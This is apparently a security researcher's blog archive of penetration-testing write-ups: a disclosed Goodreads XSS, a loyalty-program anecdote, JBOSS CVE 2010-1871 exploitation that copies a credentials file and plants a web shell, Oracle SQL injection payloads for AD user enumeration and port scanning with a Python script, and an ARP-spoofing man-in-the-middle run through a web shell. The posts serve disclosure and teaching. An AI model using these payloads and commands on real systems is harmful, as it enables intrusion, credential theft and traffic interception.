Monday, December 12, 2016

Cross-site Scripting (XSS) on Goodreads.com

Recently on an independent research I've found the Goodreads API was vulnerable to a Reflected Cross-site scripting.

The issue happens on their REST API on a callback function parameter. No sanitizing mechanism was found and the parameter is echoed back in the JSON payload, allowing a malicious user to
potentially launch XSS attacks.

I've submitted the issue to the Goodreads' security team and this was quickly fixed.
Goodreads is an Amazon company with  55 millions of users. Their site is ranked 139 in the USA and 336 globally, according to Alexa.

Proof Of Concept:




Vulnerable API calls with XSS payload:

https://www.goodreads.com/book/review_counts.json?callback=%3Chtml%3E%3Cbody%20onload=%22javascript:alert(%27XSS%27)%22%3E%3C/html%3E&isbns=0441172717

https://www.goodreads.com/book/isbn/0441172717?callback=%3Chtml%3E%3Cbody%20onload=%22javascript:alert(%27XSS%27)%22%3E%3C/html%3E&format=json

Vulnerability Disclosure Timeline:
2016-11-11: Goodreads notification
2016-11-11: Goodreads feedback
2016-11-15: Goodreads fix/patch
2016-12-12: Public disclosure

Tuesday, November 22, 2016

Hacking chocolates and the security mindset

Who doesn’t like chocolate? I am a big fan of a Brazilian coffee/chocolate chain called Ychocolates (fictitious name). They produce good chocolates and serve good coffee as well. Recently they introduced a simple loyalty program: you buy products there and earn points for each purchase. After certain amount of points, you can redeem them and transform them into a delicious chocolate. It sounds simple and straightforward. To participate in this program the person needs to supply their name, an CPF (Brazilian identification number) and a phone number. 

Every time a person goes into one of their stores and buy something, they should supply their CPF and get the points. Once you inform your CPF the cashier (verbally) will tell you how many points you have earned so far. If you have the minimum amount of points for a reward, you can get a chocolate. I’ve noticed cashiers always inform the accumulated points to the customer. It seems to be part of a procedure. I personally used my points a few times. Basically, I bought a coffee, informed my CPF and the cashier told me I have over 75 points and If I would like to redeem them. 

That’s it. What is the issue here? The issue is cashiers never asked me to prove who I am. I could simple inform my CPF and redeem the points. A not well-intentioned person could simple goes to the store, buys something and stays around the people and the cashier, listening to them talking about CPF and how many points they have. He could take note on the CPF of the person and once he has it in hands, he could return to the store later, buy something (or not), inform this CPF and redeem the points. Done! A new piece of chocolate is available. 



Main intention of this post is not to call your attention to the vulnerabilities/controls found in this scenario but rather than that, the security mindset involved. A security mindset involves looking at the world with a different perspective. It is in a certain way the ability to think maliciously. Think how to cheat a system. Could this skill be taught? How this could be achieved? This skill is important for people who are designing things and of course, for security professionals as well. 
Bruce Schneier wrote an excellent article about it years ago. At the end, this was just another daily security mindset exercise! What vulnerabilities have you found today?

(PS: I've talked to the company and they are making sure controls will be enforced)

Monday, November 14, 2016

Sunday, February 17, 2013

The forgotten JBOSS Admin Console and CVE 2010-1871



Well, we are in 2013 and It’s amazing how many JBOSS administration interfaces (jmx-console, web-console, invokers etc) are still exposed on the internet, however we are not going to talk about it.

A couple of days ago I was performing a penetration testing and I found an environment with JBOSS AS 6. The JMX-Console wasn’t password protected but one console in special attracted my attention: the Admin Console. It seems that this console, I do not know the reason, is kind of forgotten by the security community as an attack vector. The default access credential for this console is admin/admin and it is also built upon a vulnerable version of Seam framework CVE 2010-1871. This console provides a powerful JBOSS administration allowing a user to check the server’s configuration, to deploy and to delete applications, to read datasources etc.



I checked out for the default credential but they were changed. There were other ways to hack this JBOSS but I was quite interested to gain access to such Admin Console. Then I decided to check if the Seam framework was vulnerable and If I could go through this way. There are 2 (two) good posts talking about this particular vulnerability, here and here.

After spending some time thinking about the issue I came out with a solution:

1) First of all, I needed to get some information such as JBOSS directory configuration. I decided to use the JMX-console information using the MBean ServerConfig. There are two important properties: ServerHomeLocation and ServerConfLocation. The first one holds the path where the applications are deployed usually inside the folder “deploy”. The second one points to a directory with some configuration files, including the jmx-console-users.properties. This file stores the credentials to access the Admin Console.


2)  After I harvested the directories information I decide to exploit the vulnerable Seam framework in order to:

a.       Create a folder application inside the directory root:

http://target.com/admin-console/login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('mkdir /usr/share/jboss-6.0.0.Final/server/default/deploy/teste.war')}

b.      Make a copy of the JBOSS jmx-console-user.properties to the new application folder (teste.war):

http://target.com/admin-console/login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('cp /usr/share/jboss-6.0.0.Final/server/default/conf/jmx-console-users.properties  
/usr/share/jboss-6.0.0.Final/server/default/deploy/teste.war/teste.txt')}

3) Then I accessed the new application (test) and read the credentials information:

http://target.com/teste/teste.txt


4) Finally I used the credentials to access the Admin Console:

After I obtained access to the Admin Console I uploaded a web shell through the option “Add a new resource” in Web Applications (WAR) menu and the penetration testing continued.



Conclusion:

The Admin Console of JBOSS AS 6 must be always considered in a penetration testing or in a JBOSS hardening guide. It’s also extremely important to update the Seam framework to avoid the exploitation of the vulnerability described in CVE 2010-1871.

Wednesday, January 16, 2013

SQL Injection - enumerating Microsoft AD users using Oracle resources

In my last post I have talked about how to explore SQL injection flaws to perform port scanner when the database is Oracle.
Now I am sharing with you a way to perform brute force attack to enumerate users from Microsoft AD (or other LDAP repository).
Oracle provides a package called DBMS_LDAP since 9i version and this can help us with such task.
It seems that even in Oracle 11g there is no special ACL assigned to such resource. What does it mean?
It means we can use it in our SQL injection attacks with most of the Oracle users.

Let's take a look at a practical example performed on a penetration testing:

http://target/index_target.php?id=15||DBMS_LDAP.simple_bind_s((dbms_ldap.init('targetdomain.com',389)),'admin@targetdomain.com','password')--

In this case, the value of the vulnerable parameter id is concatenated with the result of DBMS_LDAP.simple_bind_s function.

We can manipulate the target domain and its port as well user names and passwords.

If the LDAP session cannot be established, we get this error:

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79 ORA-06512: at "SYS.DBMS_LDAP", line 50

Probably the target domain could not be reached due wrong host name or port.
How can we discover the LDAP repository? We can use the previous port scanner technique.

On the other hand if we can establish the session and the username informed as a parameter is invalid, we get this message:

ORA-31202: DBMS_LDAP: LDAP client/server error: Invalid credentials. 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 525, vece ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 ORA-06512: at "SYS.DBMS_LDAP", line 1455 ORA-06512: at "SYS.DBMS_LDAP", line 79

But if the user name is valid and the password is wrong, we get this:

ORA-31202: DBMS_LDAP: LDAP client/server error: Invalid credentials. 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 52e, vece ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 ORA-06512: at "SYS.DBMS_LDAP", line 1455 ORA-06512: at "SYS.DBMS_LDAP", line 7

Don´t the messages look like the same? Yes, they do. But they are different. The difference is found here: data 525 and data 52e. According to some LDAP error code tables (I didn´t find the 525 and 52e errors code inside RFCs), the errors mean "user not found" and "invalid credentials", respectively. Thus using this approach is possible to enumerate valid users in AD or another LDAP repository.

And what does it happen if we provide valid username and password? In my case I´ve gotten the following error:

ORA-31223: DBMS_LDAP: cannot open more than 63 LDAP server connections ORA-06512: at "SYS.DBMS_LDAP_API_FFI", line 25 ORA-06512: at "SYS.DBMS_LDAP", line 48

Investigating the error, it seems the specific database tried to open more connections than it was allowed. It was enough to get a valid user name and password.

Conclusion:

If we consider that is common to find databases deployed inside the internal network, we can combine this technique with the port scanner technique to deliver more targeted attacks. How about an OWA server exposed to the internet? Have fun and be aware of accounts lockout!

Monday, December 10, 2012

SQL Injection - Oracle as a port scanner



Have you ever used an SQL Injection flaw to perform a port scanner?
It's known that common databases such as Oracle and SQLServer have special packages that can perform HTTP connections, build sockets, get host names and other information about networks.
How about to use such resources to perform a port scanner exploiting a SQL injection flaw?
It's useful to discover other assets in the network and to help us to map the environment.
In our case, the DBMS was Oracle 10g. Usually we use the package URL_HTTP package to perform out of band SQL injection attack, however we are going to use it to perform a port scanner.

Let's take a look at a practical example performed on a penetration testing:

http://target/index_content.php?id=163447||utl_http.request('10.1.0.141:445')--

In this case, the value of the vulnerable parameter id is concatenated with the result of utl_http.request.

We can manipulate the IP address as well the ports numbers.

When the connection was well succeeded and the protocol probably wasn't HTTP we got an error message:
 
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-29263: HTTP protocol error ORA-06512: at line 1

On the other hand if the connection wasn't succeeded we got this error:
 
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-12570: TNS:packet reader failure ORA-06512: at line 1

The last error means that we couldn't reach the host and the port we have tried.

Anyway, independent on the error messages we can perform it in a blind way because when you try to reach a host and a port that doesn't exist or it's restricted by some firewall policy, the response from database usually is going to take longer than a normal request.

A very simple Python script to automate it:

import urllib
import urllib2
import sys

if len(sys.argv) < 5:
    print "please inform the <host> <start port> <end port> <timeout>"
    sys.exit(0)
else:
    host = sys.argv[1]
    start_port = int(sys.argv[2])
    end_port   = int(sys.argv[3])
    timeout    = int(sys.argv[4])

user_agent = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
headers = {'User-Agent' : user_agent }

while start_port <= end_port:
        url = "http://target/index_content.php?id=163447||utl_http.request('" + host + ":" + str(start_port) + "')--"
        req = urllib2.Request(url,None,headers)
        try:
                res = urllib2.urlopen(req,None,timeout)
                print "Host: " + host + " Port: " + str(start_port) + " OPENNED"
        except Exception, e:
                print "Host: " + host + " Port: " + str(start_port) + " CLOSED/NOT REACHED"
        start_port = start_port + 1

Observe that Oracle applied some ACLs to UTL_HTTP and other network packages in Oracle 11g and there is hardening recommendation to apply ACLs to all those packages.

Conclusion:

SQL injection attack is useful not only to retrieve data but to perform a port scanner in order to help to discovery other assets and services, using the DBMS network functions.

Wednesday, November 21, 2012

Man in the middle attack through a web shell



Hello all.

Let’s talk today about Man in the middle attack. No, this isn’t a post talking about what it is and how to perform a MITM attack. The proposal of this blog is to share experience with you, then most of the posts (at least until now) are about things that happened in real environments. Recently performing a penetration testing it was possible to get a web shell through a combination of vulnerabilities.  That’s good… a web shell right? But how about to going deep and explore more of the environment? Yes, if you thought about reverse web shell you are right, but, in this case, I couldn’t establish an outbound connection (this is a subject for another post). I did a lot of things in such environment and one of the things done was a MITM attack through a web shell. Let’s go to some important details. First of all, it was a Windows box. There are some tools you can perform a MITM attack on Windows box such as Cain & Abel, but remember, we had a web shell and this tool is a GUI tool (forgive me if there is a command line version). There is an old command line tool called winarp_sk, which is still available and functional to perform an arpspoofing attack. This tool seemed to be great for my case. You can find the source as well the executable to download, but it requires WinPcap to work (it uses packet.dll). This is the other problem: how to install WinPcap through command line. To perform a MITM we need a sniffer. Wireshark (tshark command line) was really good. And last but not least: to do all these things you need a user with high privileges (e.g. Administrator, System). In our case, (un)fortunately the user running the web server was Local System.  Let’s check the anatomy of the attack.

      1)     Upload winarp_sk.exe

With the web shell was possible to upload the winarp_sk.exe file. I also checked it in Virus Total to see how some AV reacted against the file. The results can be verified here.

      2)      Upload Wireshark’s installer

When you install Wireshark usually it asks for the WinPcap installation, however, when you are installing it on a silent mode it doesn’t install WinPcap.
You can run the Wireshark’s installer in silent mode.
wireshark-win32-1.2.7.exe /S /desktopicon=no /quicklaunchicon=no /D=path-to-install
/S specifies it’s going to be in silent mode
/Desktopicon=no it doesn’t create a desktop icon
/quilaunchicon=no it doesn’t create a quick launch icon

3)      Upload the installer of WinPcap x86. 

This was a tricky part of the thing. I looked at the documentation and there is no way to install it in a silent mode. Then we needed some interaction, but, we didn’t have a reverse web shell (e.g. using VNC ). There were two options: build a program in C and use the sendkey feature or use some program that does it for us. The solution: AutoIT. According to its home page, AutoIT is a freeware BASIC-like scripting language designed for automation the Windows GUI and general scripting. You can use it to automate keystrokes, mouse movement and window/control manipulation.  You can create your script and execute it with AutoIT  Run Script tool or you can compile it to an independent executable (no, you don’t need any runtime libraries!). Thanks to Brian Desmond, there is a script available on the internet to install Winpcap silently:

; ==========================================================================
; NAME: WinPcap AutoIt Installer
;
; AUTHOR: Brian Desmond, brian@briandesmond.com
; DATE  : 11/28/2009
; ==========================================================================
#RequireAdmin

Run("WinPcap_4_1_1.exe")
WinWaitActive("WinPcap 4.1.1 Setup")
Send("!n")
WinWaitActive("WinPcap 4.1.1 Setup", "Welcome to the WinPcap")
Send("!n")
WinWaitActive("WinPcap 4.1.1 Setup", "License Agreement")
Send("!a")
WinWaitActive("WinPcap 4.1.1 Setup", "Installation options")
ControlClick("WinPcap 4.1.1 Setup", "Installation options", "[CLASS:Button; INSTANCE:2]") ; hack to click the install button
WinWaitActive("WinPcap 4.1.1 Setup", "Completing the WinPcap")
Send("!f")

      4)    Configure Windows to forward packets (alter registry key)

Activate IP forward

reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /d 1 /t REG_DWORD /f

Deactivate IP forward

reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /d 0 /t REG_DWORD /f

      Note that after the configuration, Windows needed be to be restarted. There were some things we needed to pay attention here:  a) could we perform shutdown? Sometimes policies applied on Windows restrict this privilege to only a specific user. b) if we could perform shutdown, was the web server going to restart automatically? We needed to check it. Unfortunately the web server (JBOSS) was programmed to not start automatically. Then it came in hand SC utility to change the service and make it start automatically (even it’s a very suspicious activity rebooting a server but we needed it).  

      5)      Performing the arpspoof attack

When you call winarp_sk you need to provide one parameter informing from which interface you would like to send the arp packets. In our case, we didn’t have a interactive shell. To make it works we needed to echo the interface number:
echo 1|winarp_sk.exe -m 2 -s 172.31.10.104 -d 172.31.10.2 -c 10

Things to observe: the option –c specifies how many packets you want to send to the target. If you don’t provide the number winarp_sk keeps sending packets until you kill the process. Taskkill was our friend in this case.
 
      6)      Capturing packets

Tshark is a command line utility that comes with Wireshark. Then it was possible to launch it through our web shell:

tshark -i 1 -c 300 -w 300packets.pcap

After the packets being captured, we downloaded the file and examine the contents of the file.

      7)      Uninstall Wireshark + WinPcap

Here we used the same logic: AutoIT to make the uninstalation process. 

;==========================================================================
; NAME: Wireshark + WinPcap uninstaller (AutoIT)
;
; AUTHOR: Ismael Gonçalves, http://sharingsec.blogspot.com
; DATE  : 11/21/2012
; ==========================================================================

Run("C:\Program Files\Wireshark\uninstall.exe")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!n")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!n")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("{DOWN}"); set the option to uninstall ALL (including winpcap!)
Send("!u")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Sleep(10000);needed to wait for uninstallation proccess
WinWaitActive("WinPcap 4.1.1 Uninstall")
Send("!u")
WinWaitActive("WinPcap 4.1.1 Uninstall")
Send("!f")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!n")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!f")

Conclusion:

Winarp_sk.exe despite its old version is still functional. AutoIT can help to automate tasks on Windows environment and it showed itself very handy in our case. You don’t need an interactive shell to perform a man-in-the-middle attack.